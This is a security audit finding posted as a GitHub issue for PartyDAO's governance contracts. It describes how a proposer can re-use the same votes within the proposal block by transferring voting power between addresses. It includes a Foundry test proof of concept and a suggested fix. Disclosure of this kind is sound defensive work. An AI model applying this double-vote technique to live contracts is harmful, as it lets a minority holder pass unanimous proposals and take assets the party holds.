code-423n4 / 2022-09-party-findings

2 stars 0 forks source link

Proposer can double spend his votes as many times as he likes, rugging the party #240

Closed code423n4 closed 1 year ago

code423n4 commented 2 years ago

Lines of code

https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernance.sol#L562-L608

Vulnerability details

Description

Proposals are created using PartyGovernance's propose(proposal,..) function, and voted on thereafter using accept(proposal_id,…). To make sure users don't vote twice, every proposal has hasVoted mapping to keep note of votes. The number of votes counted when users vote is calculated by getVotingPowerAt(user, proposedTime,…), which calculates the most recent voting power before or at proposedTime. Additionally, users are able to transfer their voting power by transferring their PartyGovernanceNFT. This is not an issue by itself, because if user A votes on proposal P, and then transfers his voting powers to user B and tries to vote on proposal P from user B's context, the number of votes calculated for B's vote is his power at proposal time.

The one critical weakness in this validation system is that during the proposal creation block, the same votes may be re-used by different users. Attacker can propose a proposal, then immediately transfer his PartyGovernanceNFT to another wallet B, which can call accept() and the registered voting power will be equal to attacker's voting power. In fact, there is no limit to the amount of double-spending possible, with each iteration moving to a new address, and re-voting. The root cause is that in order for accept() to work when called from propose() to automatically register the proposer's vote, getVotingPower accepts a vote snapshot <= proposedTime. But since proposedTime = block.timestamp, during this block there is one final opportunity to manipulate the voting snapshots before they are set in stone.

Impact

Votes may be double spent indefinitely, allowing an attacker with a tiny amount of equity to pass a unanimous proposal to pull the NFT out of the party.

Proof of Concept

Below is a POC modifying an existing test, to show that two users with 25% and 50% voting power, can pass a unanimous vote. In practice, the likely exploit will be to contribute from an attacker contract, that has an attack function which will propose() and loop sub-contract creation, transfer of voting NFT to the new contract, and accept() to re-register the vote from the new address.

    // Attack that gains unanimous power with only 75% of votes
    function testProposalLifecycle_twoVotersUnanimousAttack() external {
        (IERC721[] memory preciousTokens, uint256[] memory preciousTokenIds) =
        _createPreciousTokens(2);
        TestablePartyGovernance gov =
        _createGovernance(100e18, preciousTokens, preciousTokenIds);
        address undelegatedVoter1 = _randomAddress();
        address undelegatedVoter2 = _randomAddress();
        // undelegatedVoter1 has 25/100 intrinsic VP (delegated to no one/self)
        gov.rawAdjustVotingPower(undelegatedVoter1, 25e18, address(0));
        // undelegatedVoter2 has 50/100 intrinsic VP (delegated to no one/self)
        gov.rawAdjustVotingPower(undelegatedVoter2, 50e18, address(0));

        // Create a one-step proposal.
        PartyGovernance.Proposal memory proposal = _createProposal(1);
        uint256 proposalId = gov.getNextProposalId();

        // Undelegated voter 1 submits proposal.
        _expectProposedEvent(proposalId, undelegatedVoter1, proposal);
        // Votes are automatically cast by proposer.
        _expectProposalAcceptedEvent(proposalId, undelegatedVoter1, 25e18);
        // Voter has majority VP so it also passes immediately.
        //_expectProposalPassedEvent(proposalId);
        vm.prank(undelegatedVoter1);
        assertEq(gov.propose(proposal, 0), proposalId);

        // Transfer vote1 -> voter2 , 25 votes
        gov.transferVotingPower(undelegatedVoter1, undelegatedVoter2, 25e18);

        // Undelegated voter 2 votes.
        _expectProposalAcceptedEvent(proposalId, undelegatedVoter2, 75e18);
        vm.prank(undelegatedVoter2);
        gov.accept(proposalId, 0);
        // The vote was unanimous so the proposal should be executable as well.
        _assertProposalStatusEq(gov, proposalId, PartyGovernance.ProposalStatus.Ready);

    }

Tools Used

Manual audit, Foundry test

Recommended Mitigation Steps

Add additional check in accept() function:

if (proposal.proposedTime == block.timestamp) {
    require(proposal.votes == 0);
}

This will not allow accept() to be called in the sensitive block except to register the proposer's votes.

merklejerk commented 1 year ago

Duplicate of #113